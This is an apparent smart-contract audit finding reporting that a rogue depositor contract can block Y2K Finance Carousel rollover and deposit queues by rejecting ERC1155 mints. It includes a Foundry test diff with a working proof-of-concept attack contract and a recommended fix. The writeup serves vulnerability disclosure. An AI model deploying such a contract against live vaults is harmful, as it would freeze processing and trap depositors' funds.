Respx

medium

# Rollover functionality can be broken by a rogue depositing contract that reverts when in the rollover queue

## Summary
The tokens minted by the Y2K vaults, including the carousel, are of the type `ERC1155`. This type of token can be made to revert when sent to a contract. By depositing into the carousel's rollover queue with a contract, we can cause all attempts to process rollovers to revert.

## Vulnerability Detail
When `mintRollovers()` is called to process the rollover queue, it calls `_mintShares()` [on line 437](https://github.com/Y2K-Finance/Earthquake/blob/736b2e1e51bef6daa6a5ecd1decb7d156316d795/src/v2/Carousel/Carousel.sol#437) to create a deposit in the new epoch. This mints `ERC1155` tokens using `ERC1155.mint()`. This [calls `ERC1155._doSafeTransferAcceptanceCheck()`](https://github.com/Y2K-Finance/Earthquake/blob/736b2e1e51bef6daa6a5ecd1decb7d156316d795/lib/openzeppelin-contracts/contracts/token/ERC1155/ERC1155.sol#L285) which [checks whether the recipient is a contract](https://github.com/Y2K-Finance/Earthquake/blob/736b2e1e51bef6daa6a5ecd1decb7d156316d795/lib/openzeppelin-contracts/contracts/token/ERC1155/ERC1155.sol#L496-L502) and, if it is, calls `onERC1155BatchReceived()` on the recipient. If the recipient does not return `IERC1155Receiver.onERC1155BatchReceived.selector`, the transaction reverts.

It is therefore possible to have an attack contract enter into the rollover queue and then change its behaviour to revert when the vault attempts to mint tokens to it as part of processing the rollover queue.

As users can call `delistInRollover()`, this attack will not trap their funds in the rollover queue. Instead, the attack contract would simply make the rollover queue impossible to process, effectively breaking rollover functionality for the carousel.

## Impact

An attacker could effectively break rollover functionality for the carousel.


## Code Snippet
Here is a proof of concept test which I wrote for a related issue:"Queued deposits can be trapped by a rogue depositing contract that reverts when in the queue". Read through the comments for a description of the attack flow.
The reason I am including this here is that it demonstrates the essential point that any attempt to mint to the attack contract can be made to revert.
```Diff
diff --git a/test/V2/Carousel/CarouselTest.t.sol b/test/V2/Carousel/CarouselTest.t.sol
index 7caa685..71f9d47 100644
--- a/test/V2/Carousel/CarouselTest.t.sol
+++ b/test/V2/Carousel/CarouselTest.t.sol
@@ -203,6 +203,11 @@ contract CarouselTest is Helper {
     }
 
     function testDepositIntoQueueMultiple() public {
+
+        // This is the rogue attacker which will deposit and block the queue
+        NotVeryBritish attacker = new NotVeryBritish();
+        deal(UNDERLYING, address(attacker), 1000 ether, true);
+
         // test multiple deposits into queue
         uint40 _epochBegin = uint40(block.timestamp + 1 days);
         uint40 _epochEnd = uint40(block.timestamp + 2 days);
@@ -216,41 +221,75 @@ contract CarouselTest is Helper {
         helperDepositInEpochs(_epochId,USER, true);
         helperDepositInEpochs(_epochId,USER2, true);
         helperDepositInEpochs(_epochId,USER3, true);
+
+        // We can still use this helper function to make our attack contract deposit
+        // Deposit in the middle of the queue to trap some users but not others
+        helperDepositInEpochs(_epochId, address(attacker), true);
+
         helperDepositInEpochs(_epochId,USER4, true);
         helperDepositInEpochs(_epochId,USER5, true);
         helperDepositInEpochs(_epochId,USER6, true);
 
-        assertEq(vault.getDepositQueueLenght(), 6);
+        assertEq(vault.getDepositQueueLenght(), 7);
         
         // check balance of relayer
         uint256 balanceBefore = IERC20(UNDERLYING).balanceOf(address(this));
 
-        // mint deposit in queue
-        vault.mintDepositInQueue(_epochId, 6);
+        // Now set our attack contract to stop returning the correct value
+        // and so cause reverts in ERC1155._doSafeBatchTransferAcceptanceCheck()
+        attacker.setBehaviour(false);
+
+        // Attempts to process the entire queue revert
+        vm.expectRevert("ERC1155: ERC1155Receiver rejected tokens");
+        vault.mintDepositInQueue(_epochId, 7);
+
+        // We can process those who came in after the attacker
+        vault.mintDepositInQueue(_epochId, 3);
 
         // check balance of relayer
         uint256 balanceAfter = IERC20(UNDERLYING).balanceOf(address(this));
 
         // check relayer fee
-        uint256 _relayerFee = (balanceAfter - balanceBefore) / 6;
+        uint256 _relayerFee = (balanceAfter - balanceBefore) / 3;
         assertEq(_relayerFee, relayerFee);
 
         // check balances
-        assertEq(vault.balanceOf(USER, _epochId), 10 ether - relayerFee);
-        assertEq(vault.balanceOfEmissions(USER, _epochId), 10 ether - relayerFee);
-        assertEq(vault.balanceOf(USER2, _epochId), 10 ether - relayerFee);
-        assertEq(vault.balanceOfEmissions(USER2, _epochId), 10 ether - relayerFee);
-        assertEq(vault.balanceOf(USER3, _epochId), 10 ether - relayerFee);
-        assertEq(vault.balanceOfEmissions(USER3, _epochId), 10 ether - relayerFee);
+        // The first 3 users in have no balance, as they cannot be processed in the queue
+        assertEq(vault.balanceOf(USER, _epochId), 0);
+        assertEq(vault.balanceOfEmissions(USER, _epochId), 0);
+        assertEq(vault.balanceOf(USER2, _epochId), 0);
+        assertEq(vault.balanceOfEmissions(USER2, _epochId), 0);
+        assertEq(vault.balanceOf(USER3, _epochId), 0);
+        assertEq(vault.balanceOfEmissions(USER3, _epochId), 0);
+
+        // The last 3 users are fine
         assertEq(vault.balanceOf(USER4, _epochId), 10 ether - relayerFee);
         assertEq(vault.balanceOfEmissions(USER4, _epochId), 10 ether - relayerFee);
         assertEq(vault.balanceOf(USER5, _epochId), 10 ether - relayerFee);
         assertEq(vault.balanceOfEmissions(USER5, _epochId), 10 ether - relayerFee);
         assertEq(vault.balanceOf(USER6, _epochId), 10 ether - relayerFee);
         assertEq(vault.balanceOfEmissions(USER6, _epochId), 10 ether - relayerFee);
+
+        // The deposit queue has the funds of our 3 trapped depositors and also the attack contract:
+        assertEq(vault.getDepositQueueTVL(), 40 ether);        
+        
+        //Let's take a closer look at our first trapped user, USER:
+        // No tokens for the zero epoch, of course, as they don't get minted:
+        assertEq(vault.balanceOf(USER, 0), 0);
+        // No tokens for the current epoch, as tested before:
+        assertEq(vault.balanceOf(USER, _epochId), 0);
+
+        // The funds cannot be withdrawn for epoch 0 as they are linked to an epoch that has not resolved
+        // (and the _burn would fail anyway as no tokens were ever minted)
+        vm.startPrank(USER);
+        vm.expectRevert(VaultV2.EpochNotResolved.selector);
+        vault.withdraw(0 , 10 ether, USER, USER);
+        vm.stopPrank();
+
     }
 
     function testRolloverMultiple() public {
+
         // test multiple rollovers
         // roll over users from testDepositIntoQueueMultiple test
         testDepositIntoQueueMultiple();
@@ -378,4 +417,39 @@ contract CarouselTest is Helper {
     }

+}
+
+contract NotVeryBritish {
+// (British people are good at queueing.)
+
+    bytes4 public successValue = bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"));
+    bool public goodBehaviour = true;
+    /*
+     * NOTE: To accept the transfer, this must return
+     * `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
+     * (i.e. 0xf23a6e61, or its own function selector).
+     *
+     * @param operator The address which initiated the transfer (i.e. msg.sender)
+     * @param from The address which previously owned the token
+     * @param id The ID of the token being transferred
+     * @param value The amount of tokens being transferred
+     * @param data Additional data with no specified format
+     * @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
+     */
+    function onERC1155Received(
+        address ,
+        address ,
+        uint256 ,
+        uint256 ,
+        bytes calldata 
+    ) external view returns (bytes4) {
+        return goodBehaviour ? successValue : bytes4(keccak256("fail"));
+    }
+
+    function setBehaviour(bool _behaviour) external {
+        goodBehaviour = _behaviour;
+    }
+
+    receive() external payable {}
+    fallback() external payable {}
 }
\ No newline at end of file
```
(Note: we use `forge`'s ability to send transactions direct from contracts to make the deposit process simple, but it would of course be possible to build functions in the attack contract which make it call the deposit() function on the carousel vault.)
 
## Tool used

Manual Review

## Recommendation

Consider adding a function with the `onlyFactory` modifier which can delist entries from the rollover queue.